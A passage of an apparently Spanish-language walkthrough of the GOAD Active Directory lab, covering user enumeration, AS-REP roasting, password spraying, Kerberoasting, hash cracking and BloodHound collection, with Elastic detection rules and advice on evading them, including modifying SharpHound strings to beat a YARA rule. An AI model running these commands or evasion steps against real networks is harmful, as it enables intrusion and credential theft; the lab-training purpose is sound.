49791/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2024-05-06T08:17:56+00:00; -1s from scanner time.
| ms-sql-ntlm-info:
|   192.168.10.23:49791:
|     Target_Name: ESSOS
|     NetBIOS_Domain_Name: ESSOS
|     NetBIOS_Computer_Name: BRAAVOS
|     DNS_Domain_Name: essos.local
|     DNS_Computer_Name: braavos.essos.local
|     DNS_Tree_Name: essos.local
|_    Product_Version: 10.0.14393
| ms-sql-info:
|   192.168.10.23:49791:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 49791
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-03-20T22:26:28
|_Not valid after:  2054-03-20T22:26:28
49836/tcp open  msrpc         Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: braavos
|   NetBIOS computer name: BRAAVOS\x00
|   Domain name: essos.local
|   Forest name: essos.local
|   FQDN: braavos.essos.local
|_  System time: 2024-05-06T10:17:49+02:00
| smb2-time:
|   date: 2024-05-06T08:17:45
|_  start_date: 2024-03-20T22:26:19
|_clock-skew: mean: -13m20s, deviation: 39m58s, median: -1s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Post-scan script results:
| clock-skew:
|   -1s:
|     192.168.10.11 (winterfell.north.sevenkingdoms.local)
|     192.168.10.22 (castelblack.north.sevenkingdoms.local)
|     192.168.10.10 (sevenkingdoms.local)
|     192.168.10.12 (essos.local)
|_    192.168.10.23 (braavos.essos.local)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 5 IP addresses (5 hosts up) scanned in 384.37 seconds
```

Bien, ahora conocemos todos los hosts y servicios expuestos, intentemos una enumeración anónima en la segunda parte.

# 2. Búsqueda de usuarios
Hemos realizado un reconocimiento básico en la primera parte de GOAD pwning, ahora intentaremos enumerar usuarios y comenzar la búsqueda de credenciales.

![image](https://hackmd.io/_uploads/rkllEz8zA.png)

## Enumerar DCs de forma anónima
### Con nxc
```
nxc smb 192.168.10.11 --users
```
![image](https://hackmd.io/_uploads/S1BdNMIM0.png)

Obtenemos algunos usuarios con la descripción y conseguimos una primera contraseña, ya que a samwell.tarly se le configuró su contraseña en la descripción.

También podríamos recuperar la política de contraseñas antes de intentar un ataque de fuerza bruta.

```
nxc smb 192.168.10.11 --pass-pol
```
![image](https://hackmd.io/_uploads/HJZQrMUz0.png)

La política de contraseñas nos muestra que si fallamos 5 veces en 5 minutos, bloqueamos las cuentas durante 5 minutos.

### Con Enum4linux
También podemos confirmar el listado anónimo en el DC NORTH con Enum4linux:

```
enum4linux 192.168.10.11
```

Obtenemos la lista de usuarios como con nxc.
![image](https://hackmd.io/_uploads/rJsRrGLf0.png)

También obtenemos la política de contraseñas como con nxc.
![image](https://hackmd.io/_uploads/HkaVUM8z0.png)

Enum4linux también obtiene la lista completa de usuarios del dominio enumerando los miembros del grupo del dominio.
![image](https://hackmd.io/_uploads/S1wiLG8fC.png)

### Con llamada RPC
El listado anónimo se realiza con Remote Procedure Call (Llamada a Procedimiento Remoto) en winterfell (192.168.10.11), así que también podríamos hacer esto directamente con rpcclient.

```
rpcclient -U "NORTH\\" 192.168.10.11 -N
```

```
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[arya.stark] rid:[0x457]
user:[sansa.stark] rid:[0x45b]
user:[brandon.stark] rid:[0x45c]
user:[rickon.stark] rid:[0x45d]
user:[hodor] rid:[0x45e]
user:[jon.snow] rid:[0x45f]
user:[samwell.tarly] rid:[0x460]
user:[jeor.mormont] rid:[0x461]
user:[sql_svc] rid:[0x462]
user:[oldadministrator] rid:[0x468]

rpcclient $> enumdomgroups
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[DnsUpdateProxy] rid:[0x450]
group:[Stark] rid:[0x453]
group:[Night Watch] rid:[0x454]
group:[Mormont] rid:[0x455]
```

Obtener todos los usuarios del dominio:
```
net rpc group members 'Domain Users' -W 'NORTH' -I '192.168.10.11' -U '%'
```

```
NORTH\Administrator
NORTH\vagrant
NORTH\cloudbase-init
NORTH\krbtgt
NORTH\SEVENKINGDOMS$
NORTH\arya.stark
NORTH\eddard.stark
NORTH\catelyn.stark
NORTH\robb.stark
NORTH\sansa.stark
NORTH\brandon.stark
NORTH\rickon.stark
NORTH\hodor
NORTH\jon.snow
NORTH\samwell.tarly
NORTH\jeor.mormont
NORTH\sql_svc
NORTH\oldadministrator
```

## Enumerar DCs de forma anónima: cuando no se permiten sesiones anónimas
El controlador de dominio de Winterfell permite conexiones anónimas, por eso podemos listar los usuarios y grupos del dominio. Sin embargo, hoy en día casi nunca ocurre este tipo de configuración. (Por el contrario, la contraseña en las descripciones de los usuarios ocurre bastante a menudo).

Aún podemos enumerar usuarios válidos por fuerza bruta.

Primero, creamos una lista de usuarios:
```
curl -s https://www.hbo.com/game-of-thrones/cast-and-crew | grep 'href="/game-of-thrones/cast-and-crew/'| grep -o 'aria-label="[^"]*"' | cut -d '"' -f 2 | awk '{if($2 == "") {print tolower($1)} else {print tolower($1) "." tolower($2);} }' | sort -u > got_users.txt
```

Obtenemos la siguiente lista:
```
alliser.thorne
archmaester.ebrose
arya.stark
balon.greyjoy
barristan.selmy
benjen.stark
beric.dondarrion
bran.stark
brienne.of
bronn
brother.ray
brynden.tully
catelyn.stark
cersei.lannister
daario.naharis
daenerys.targaryen
davos.seaworth
doran.martell
euron.greyjoy
gendry
gilly
grand.maester
grey.worm
high.priestess
high.sparrow
hodor
izembaro
jaime.lannister
jaqen.h’ghar
jeor.mormont
joffrey.baratheon
jon.snow
jorah.mormont
khal.drogo
lady.crane
lancel.lannister
loras.tyrell
lysa.arryn
maester.aemon
maester.luwin
mance.rayder
margaery.tyrell
melisandre
missandei
myrcella.baratheon
nym.sand
obara.sand
oberyn.martell
olenna.tyrell
orell
osha
podrick.payne
qyburn
ramsay.snow
randyll.tarly
renly.baratheon
rickon.stark
robb.stark
robert.baratheon
robin.arryn
roose.bolton
ros
samwell.tarly
sansa.stark
shae
stannis.baratheon
talisa.stark
theon.greyjoy
thoros.of
tommen.baratheon
tormund
trystane.martell
tyene.sand
tyrion.lannister
tywin.lannister
varys
viserys.targaryen
yara.greyjoy
ygritte
```

Probemos esta lista en los controladores de dominio meereen.essos.local y kingslanding.sevenkingdoms.local.

```
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=got_users.txt" 192.168.10.10
```

```
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-06 10:45 CEST
Nmap scan report for sevenkingdoms.local (192.168.10.10)
Host is up (0.030s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
|     renly.baratheon@sevenkingdoms.local
|     tywin.lannister@sevenkingdoms.local
|     cersei.lannister@sevenkingdoms.local
|     stannis.baratheon@sevenkingdoms.local
|     jaime.lannister@sevenkingdoms.local
|     robert.baratheon@sevenkingdoms.local
|_    joffrey.baratheon@sevenkingdoms.local

Nmap done: 1 IP address (1 host up) scanned in 0.52 seconds
```

¡Genial, encontramos 7 usuarios válidos en sevenkingdoms.local!

```
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='essos.local',userdb=got_users.txt" 192.168.10.12
```

```
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-06 10:47 CEST
Nmap scan report for essos.local (192.168.10.12)
Host is up (0.029s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
|     khal.drogo@essos.local
|     viserys.targaryen@essos.local
|     missandei@essos.local
|     daenerys.targaryen@essos.local
|_    jorah.mormont@essos.local

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
```

Y encontramos 4 usuarios válidos en essos.local.

Como podemos ver en la [página de Nmap](https://nmap.org/nsedoc/scripts/krb5-enum-users.html):

Descubre nombres de usuario válidos mediante consultas de fuerza bruta contra un servicio Kerberos. Cuando se solicita un nombre de usuario no válido, el servidor responde con el código de error de Kerberos KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, permitiéndonos determinar que el nombre de usuario no era válido. Los nombres de usuario válidos provocarán ya sea el TGT en una respuesta AS-REP o el error KRB5KDC_ERR_PREAUTH_REQUIRED, señalando que el usuario debe realizar la pre-autenticación.

En resumen, el badpwdcount no se incrementará cuando realices fuerza bruta a los usuarios.
Verifiquémoslo:
```
python3 netexec.py ldap 192.168.10.12 -u khal.drogo -p horse -d essos.local --users
```
![image](https://hackmd.io/_uploads/rJTKWmIfC.png)

## Acceso de invitado en recursos compartidos
Echemos un vistazo al acceso de invitado a los recursos compartidos SMB:
![image](https://hackmd.io/_uploads/ByFe7XUzC.png)

Lanzamos el siguiente comando con nxc:
```
nxc smb 192.168.10.10-23 -u 'a' -p '' --shares
```

Y encontramos algunos recursos compartidos anónimos con permisos de READ/WRITE.

![image](https://hackmd.io/_uploads/Skr9G7If0.png)

## Usuario pero sin credenciales
Ya tenemos usuarios, ahora intentemos obtener la contraseña para ellos.

![image](https://hackmd.io/_uploads/S1LAmX8MA.png)

### AS-REP Roasting
Creamos un archivo users.txt con todos los nombres de usuario encontrados anteriormente en north.sevenkingdoms.local:
```
sql_svc
jeor.mormont
samwell.tarly
jon.snow
hodor
rickon.stark
brandon.stark
sansa.stark
robb.stark
catelyn.stark
eddard.stark
arya.stark
krbtgt
vagrant
Guest
Administrator
```

Ahora podríamos intentar AS-REP Roasting en todos los usuarios con Impacket:

```
impacket-GetNPUsers north.sevenkingdoms.local/ -no-pass -usersfile users.txt
```

```
Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra

[-] User sql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jeor.mormont doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User samwell.tarly doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jon.snow doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User hodor doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User rickon.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:ebfeddb77c497382897d9150a5bb5bca$7fc0bd5514bd6a09cc623589d99490cf2dbb61223d820a46890d4468407e912bb0c4ad0c2ea3484eff9ede32509c75bfbb0ef34479179dc298132f7ee22087d7725281c6d710f62420f612286ec785c4ba393f748bad6757d69cf41f819144bb74daec32126d338e9b6f3ed32d121d797f5fe8e5d485485355e908118218de07d2e344be09f8d52169c9541969ccb5605342033fdfc2c3fa5d91f3606baf836629e9fa63b124ca578089621de0a86840776e4bb77fd8018afb2a916b1a2c9154b1ce1b248536c5ca79027ff8390df2c51da6d210a560d188ceada32ef9479e50d8a6ec93f70fe000b8c519ed019f70a98bcd3626d2fb096299afc814777f4650404e3aee3b2a
[-] User sansa.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robb.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User catelyn.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User eddard.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User arya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User vagrant doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
```

Obtenemos un ticket para brandon.stark y lo intentaremos romper ya que el usuario no requiere autenticación previa de Kerberos:

```
hashcat -m 18200 asrephash /usr/share/wordlists/rockyou.txt
```

```
...
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:ebfeddb77c497382897d9150a5bb5bca$7fc0bd5514bd6a09cc623589d99490cf2dbb61223d820a46890d4468407e912bb0c4ad0c2ea3484eff9ede32509c75bfbb0ef34479179dc298132f7ee22087d7725281c6d710f62420f612286ec785c4ba393f748bad6757d69cf41f819144bb74daec32126d338e9b6f3ed32d121d797f5fe8e5d485485355e908118218de07d2e344be09f8d52169c9541969ccb5605342033fdfc2c3fa5d91f3606baf836629e9fa63b124ca578089621de0a86840776e4bb77fd8018afb2a916b1a2c9154b1ce1b248536c5ca79027ff8390df2c51da6d210a560d188ceada32ef9479e50d8a6ec93f70fe000b8c519ed019f70a98bcd3626d2fb096299afc814777f4650404e3aee3b2a:iseedeadpeople

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOC...ee3b2a
Time.Started.....: Mon May  6 11:53:28 2024 (0 secs)
Time.Estimated...: Mon May  6 11:53:28 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   947.4 kH/s (1.08ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 55296/14344385 (0.39%)
Rejected.........: 0/55296 (0.00%)
Restore.Point....: 53248/14344385 (0.37%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: soydivina -> grad2010
Hardware.Mon.#1..: Util: 29%
```

Hemos encontrado la contraseña del usuario "iseedeadpeople".

Ahora tenemos un par de credenciales:
* samwell.tarly:Heartsbane
* brandon.stark:iseedeadpeople

### Password Spraying
Podríamos intentar la prueba clásica de usuario=contraseña.

```
nxc smb 192.168.10.11 -u users.txt -p users.txt --no-bruteforce
```
![image](https://hackmd.io/_uploads/B15KsQIGC.png)
Por defecto, cuando continue_on_success no está activado, nxc finalizará tras la primera combinación exitosa (en el intento número 5). Por esta razón, no se generará una alerta en Elastic, ya que el mínimo requerido son 10 intentos fallidos en un periodo breve.

También podríamos usar SprayHound (https://github.com/Hackndo/sprayhound).
```
sprayhound -U users.txt -d north.sevenkingdoms.local -dc 192.168.10.11 --lower
```

> Cuando realices Password Spraying, ¡ten cuidado de no bloquear las cuentas!

![image](https://hackmd.io/_uploads/SJ3ET78zA.png)

Detecciones de Elastic:
Elastic ha detectado múltiples intentos fallidos de inicio de sesión desde la misma dirección IP 10.10.10.10 en un corto intervalo de tiempo. Este tipo de alerta es típicamente indicativa de un ataque de fuerza bruta, donde un adversario intenta acceder a cuentas utilizando contraseñas comunes o conocidas en múltiples usuarios. Los intentos involucraron el proceso lsass.exe en Windows, esencial para la seguridad de las credenciales.

![image](https://hackmd.io/_uploads/BknjkEIfR.png)
![image](https://hackmd.io/_uploads/r1TgxN8zA.png)

Consulta EQL:
```
sequence by winlog.computer_name, source.ip with maxspan=10s
  [authentication where event.action == "logon-failed" and
    /* event 4625 need to be logged */
    winlog.logon.type : "Network" and
    source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1" and
    not user.name : ("ANONYMOUS LOGON", "-", "*$") and not user.domain == "NT AUTHORITY" and

    /*
    noisy failure status codes often associated to authentication misconfiguration :
     0xC000015B - The user has not been granted the requested logon type (also called the logon right) at this machine.
     0XC000005E	- There are currently no logon servers available to service the logon request.
     0XC0000133	- Clocks between DC and other computer too far out of sync.
     0XC0000192	An attempt was made to logon, but the Netlogon service was not started.
    */
    not winlog.event_data.Status : ("0xC000015B", "0XC000005E", "0XC0000133", "0XC0000192")] with runs=10
```

Función de la Regla:
* Monitorización de Eventos 4625: Este evento es crucial porque se genera cada vez que un intento de inicio de sesión falla. En un entorno de Windows, este evento contiene detalles como la dirección IP del origen del intento de inicio de sesión, el tipo de inicio de sesión que se intentó (en este caso, "Network" o red), y el nombre de usuario que se usó en el intento fallido.
* Secuenciamiento y Tiempo: La regla usa una secuencia para monitorear estos eventos de inicio de sesión fallidos. Si detecta 10 eventos de este tipo (logon-failed) en un lapso de 10 segundos desde la misma dirección IP y en la misma máquina (winlog.computer_name y source.ip), entonces generará una alerta. Este patrón sugiere un comportamiento anormal que a menudo se asocia con intentos de acceso forzado, como ataques de fuerza bruta o Password Spraying.
![image](https://hackmd.io/_uploads/rJm_bELzC.png)

¿Cómo podría un atacante haber evitado generar esta alerta?
* Diversificación de IP: Utilizar diferentes direcciones IP, empleando proxies o VPNs para distribuir los intentos de inicio de sesión.
* Reducción de la Frecuencia: Espaciar los intentos de inicio de sesión para no superar los umbrales de detección de ataques rápidos.
Si la regla agrupa intentos de inicio de sesión fallidos dentro de un intervalo de 10 segundos, realizar intentos de inicio de sesión espaciados más allá de este intervalo podría evitar la detección. Por ejemplo, el atacante podría configurar los intentos de inicio de sesión para que ocurran cada 15 segundos o más.
* Ingeniería Social: Obtener credenciales directamente de los usuarios a través de técnicas de phishing u otras formas de engaño.
* Credential Stuffing: Usar credenciales válidas obtenidas de otras brechas de datos para evitar intentos fallidos repetidos.
* Password Spraying inteligente: Aplicar variaciones de contraseñas basadas en políticas de seguridad conocidas o patrones de nombres de usuario para minimizar los fallos.

Referencias:
* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4625
* https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4624
* https://learn.microsoft.com/en-us/archive/msdn-technet-forums/c82ac4f3-a235-472c-9fd3-53aa646cfcfd
* https://serverfault.com/questions/379092/remote-desktop-failed-logon-event-4625-not-logging-ip-address-on-2008-terminal-s/403638#403638

Así se muestra en el Visor de Eventos:
![image](https://hackmd.io/_uploads/SJaj8E8fR.png)

Podríamos intentar SprayHound con un usuario válido para evitar bloquear la cuenta (opción -t para establecer el número de intentos restantes)
```
sprayhound -U users.txt -d north.sevenkingdoms.local -dc 192.168.10.11 -lu hodor -lp hodor --lower -t 2
```

Ver el estado del ataque de fuerza bruta:
```
python3 netexec.py ldap 192.168.10.11 -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local --users
```
![image](https://hackmd.io/_uploads/HJ_vcVLfR.png)

Ahora tenemos tres pares de credenciales:
* samwell.tarly:Heartsbane (descripción del usuario)
* brandon.stark:iseedeadpeople (AS-REP Roasting)
* hodor:hodor (Password Spraying)

Genial, en la próxima parte comenzaremos a explorar qué hacer con un usuario válido.

# 3. Enumeración con usuario
Encontramos algunos usuarios en la segunda parte de GOAD pwning, ahora veamos qué podemos hacer con esas credenciales.

## Listado de usuarios
![image](https://hackmd.io/_uploads/r1Z-oIIMC.png)
Cuando consigues una cuenta en un Active Directory, lo primero que debes hacer es obtener la lista completa de usuarios.

Una vez que la tienes, podrías realizar un ataque de Password Spraying sobre la lista completa de usuarios (muy a menudo encontrarás otras cuentas con contraseñas débiles como usuario=contraseña, EstaciónAño!, NombreempresaAño! o incluso 123456).

```
impacket-GetADUsers -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
```

```
Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra

[*] Querying north.sevenkingdoms.local for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2024-03-16 14:12:49.552703  2024-03-16 17:44:29.767787
Guest                                                 <never>              <never>
vagrant                                               2024-03-16 13:48:29.667797  2024-04-18 10:31:15.167835
cloudbase-init                                        2024-03-16 15:26:47.875459  2024-03-16 15:26:47.906710
krbtgt                                                2024-03-16 15:59:05.364398  <never>
                                                      2024-04-16 06:12:06.657960  <never>
arya.stark                                            2024-03-16 17:37:21.674320  2024-05-06 10:00:24.461708
eddard.stark                                          2024-03-16 17:37:25.018270  2024-05-06 15:30:34.515195
catelyn.stark                                         2024-03-16 17:37:28.159082  <never>
robb.stark                                            2024-03-16 17:37:31.565556  2024-05-06 15:30:47.082857
sansa.stark                                           2024-03-16 17:37:34.675097  <never>
brandon.stark                                         2024-03-16 17:37:37.628400  2024-05-06 11:48:36.930957
rickon.stark                                          2024-03-16 17:37:40.425445  <never>
hodor                                                 2024-03-16 17:37:43.050605  2024-04-24 12:55:53.605751
jon.snow                                              2024-03-16 17:37:45.691387  2024-04-30 13:15:55.043165
samwell.tarly                                         2024-03-16 17:37:48.316555  2024-05-06 12:17:02.234086
jeor.mormont                                          2024-03-16 17:37:50.910453  2024-05-02 21:17:42.772747
sql_svc                                               2024-03-16 17:37:53.207464  2024-03-16 17:48:16.889247
oldadministrator                                      2024-04-19 12:02:25.288140  <never>
```

Para consultas LDAP, recomiendo este artículo con todas las consultas LDAP útiles para pentesting en Active Directory de Windows: https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/

Con LDAP en north.sevenkingdoms.local:
```
ldapsearch -H ldap://192.168.10.11 -D "brandon.stark@north.sevenkingdoms.local" -w iseedeadpeople -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:'
```
![image](https://hackmd.io/_uploads/BJ7n28LfR.png)

Con la siguiente consulta LDAP, podemos solicitar usuarios de otros dominios si existe una relación de confianza.

En sevenkingdoms.local:
```
ldapsearch -H ldap://192.168.10.10 -D "brandon.stark@north.sevenkingdoms.local" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:'
```

## Kerberoasting
En un Active Directory, es común ver usuarios con un SPN establecido.

Encontrémoslos con Impacket:
```
impacket-GetUserSPNs -request -dc-ip 192.168.10.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes
```

```
Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra

ServicePrincipalName                                 Name         MemberOf                                                    PasswordLastSet             LastLogon                   Delegation
---------------------------------------------------  -----------  ----------------------------------------------------------  --------------------------  --------------------------  -------------
HTTP/eyrie.north.sevenkingdoms.local                 sansa.stark  CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local        2024-03-16 17:37:34.675097  <never>                     unconstrained
CIFS/thewall.north.sevenkingdoms.local               jon.snow     CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2024-03-16 17:37:45.691387  2024-04-30 13:15:55.043165  constrained
HTTP/thewall.north.sevenkingdoms.local               jon.snow     CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2024-03-16 17:37:45.691387  2024-04-30 13:15:55.043165  constrained
MSSQLSvc/castelblack.north.sevenkingdoms.local       sql_svc                                                                  2024-03-16 17:37:53.207464  2024-03-16 17:48:16.889247
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433  sql_svc                                                                  2024-03-16 17:37:53.207464  2024-03-16 17:48:16.889247
```

Todos los hashes se almacenarán en un archivo llamado kerberoasting.hashes.

También podríamos hacerlo con nxc con el siguiente comando:
```
nxc ldap 192.168.10.11 -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting KERBEROASTING
```

Ahora intentemos descifrar los hashes:
```
hashcat -m 13100 --force -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force
```

Obtenemos rápidamente un resultado con rockyou:
![image](https://hackmd.io/_uploads/rJxje4dwfA.png)

Y encontramos otro usuario: north/jon.snow:iknownothing

## Enumeración de recursos compartidos
Conseguimos un usuario de dominio así que podríamos enumerar los recursos compartidos otra vez pero con una cuenta de usuario.

```
nxc smb 192.168.10.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares
```

![image](https://hackmd.io/_uploads/BJEYUuPzA.png)

Ahora un nuevo directorio compartido es legible (no tiene nada en este laboratorio, pero en un entorno real obtendrás muy a menudo información valiosa).

## Volcado de DNS
Otra cosa interesante cuando conseguimos un usuario es enumerar DNS. Para esto podemos usar la herramienta [adidnsdump](https://github.com/dirkjanm/adidnsdump) de dirkjanm.

```
adidnsdump -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' winterfell.north.sevenkingdoms.local
```

Los resultados se almacenan en un archivo records.csv.
```
cat records.csv
type,name,value
A,winterfell,192.168.10.11
A,DomainDnsZones,192.168.10.11
A,castelblack,192.168.10.22
A,@,192.168.10.11
NS,@,winterfell.north.sevenkingdoms.local.
```

## BloodHound
BloodHound es una de las mejores herramientas para pentest de Active Directory. ¡Esta herramienta te ayudará a encontrar todas las rutas para comprometer el AD y es imprescindible en tu arsenal!

Para lanzar BloodHound primero necesitas recuperar todos los datos de los diferentes dominios.

### Ingestor de Python - desde Linux
Primero obtendremos los datos con el ingestor de Python: https://github.com/fox-it/BloodHound.py

Ejecutemos el script en north.sevenkingdoms.local:
```
bloodhound-python --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople -ns 192.168.10.11
```
![image](https://hackmd.io/_uploads/SkE-jdvGC.png)

Bien, ahora tenemos toda la información del dominio north.sevenkingdoms.local. Ahora intentemos obtener información de otros dominios:

```
bloodhound-python --zip -c All -d sevenkingdoms.local -u brandon.stark@north.sevenkingdoms.local -p iseedeadpeople -ns 192.168.10.10
```

```
bloodhound-python --zip -c All -d essos.local -u brandon.stark@north.sevenkingdoms.local -p iseedeadpeople -ns 192.168.10.12
```

![image](https://hackmd.io/_uploads/SJ3DnuvMC.png)

```
scp root@192.168.10.5:/root/bh_output/* .
root@192.168.10.5's password:
20240507095555_bloodhound.zip                                        100%  172KB   1.0MB/s   00:00
20240507095913_bloodhound.zip                                        100%  188KB   1.3MB/s   00:00
20240507095918_bloodhound.zip                                        100%  173KB 924.6KB/s   00:00
```

Ahora tenemos la información de los 3 dominios :)

Pero el ingestor de Python no es tan completo como el ingestor .NET como podemos ver en el proyecto de GitHub: *"Soporta la mayoría, pero no todas las características de BloodHound (SharpHound) (ver abajo para los métodos de recolección soportados, principalmente faltan los métodos basados en GPO)"*

Así que hagámoslo de nuevo desde Windows esta vez.

### Ingestor .NET - desde Windows
El ingestor oficial de BloodHound es SharpHound: https://github.com/BloodHoundAD/SharpHound

Iniciemos una conexión RDP.
```
xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.10.22 /cert-ignore
```

Detecciones de Elastic:
![image](https://hackmd.io/_uploads/B1sbeKwG0.png)
![image](https://hackmd.io/_uploads/Sk1ZbKPGA.png)

La alerta de detección de malware en Elastic Endpoint Security se activó porque detectó el archivo `SharpHound.exe`, identificado como herramienta de hacking. Este archivo se ejecutó desde `explorer.exe`, en el sistema del usuario `jon.snow`.

Un atacante podría haber evitado esta alerta de varias maneras:

1. Modificación del Hash del Archivo: Cambiar el contenido del archivo SharpHound.exe para modificar su hash y evitar la detección basada en firmas hash específicas.
2. Evasión de la Detección Basada en YARA: Modificar o eliminar las cadenas específicas dentro del código de SharpHound que son detectadas por la regla YARA, como los GUIDs o mensajes impresos específicos (https://github.com/elastic/protections-artifacts/blob/956eeb3059f8f3b40dc25e5feb4f2485143f2561/yara/rules/Windows_Hacktool_SharpHound.yar).
3. Cifrado o Empaquetado del Ejecutable: Utilizar técnicas de cifrado o empaquetado avanzadas para ocultar las características maliciosas del ejecutable de las herramientas de detección basadas en firmas o heurísticas.

Para evitar la detección de "SharpHound.exe" por la regla específica de Elastic Security, puedes realizar las siguientes modificaciones:
1. **Cambiar los GUIDs**: Sustituye los GUIDs "A517A8DE-5834-411D-ABDA-2D0E1766539C" y "90A6822C-4336-433D-923F-F54CE66BA98F" por otros valores. (https://github.com/BloodHoundAD/SharpHound/blob/2.X/Sharphound.sln#L6)
![image](https://hackmd.io/_uploads/HJVVctvMC.png)

https://stackoverflow.com/questions/2327202/what-are-the-project-guids-in-a-visual-studio-solution-file-used-for
https://tierzerosecurity.co.nz/2024/03/03/teamcity-sharpwmi-evasion.html

2. **Modificar las Cadenas de Texto**: Altera las cadenas:
   - Cambia "Initializing SharpHound at {time} on {date}". (https://github.com/BloodHoundAD/SharpHound/blob/ff7974c0bb6c32450520494aab0a0710b3186af9/src/Sharphound.cs#L96)
   - Modifica "SharpHound completed {Number} loops! Zip file written to {Filename}". (https://github.com/BloodHoundAD/SharpHound/blob/ff7974c0bb6c32450520494aab0a0710b3186af9/src/Runtime/LoopManager.cs#L80)
   - Ajusta o elimina "[-] Removed DCOM Collection". (https://github.com/BloodHoundAD/SharpHound/blob/ff7974c0bb6c32450520494aab0a0710b3186af9/src/Options.cs#L230)

La regla se activará si se detectan los GUIDs especificados o todas las cadenas de texto indicadas. Modificando estos elementos para que no coincidan con los patrones establecidos, se evitará la activación de la regla.

Es importante mencionar que, aunque esto no activará la regla de Windows.Hacktool.SharpHound, la regla genérica de "Malware Detection Alert" continuará generando alertas.

Lanzaremos SharpHound para recuperar información de los dominios.
```
.\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
.\sharphound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
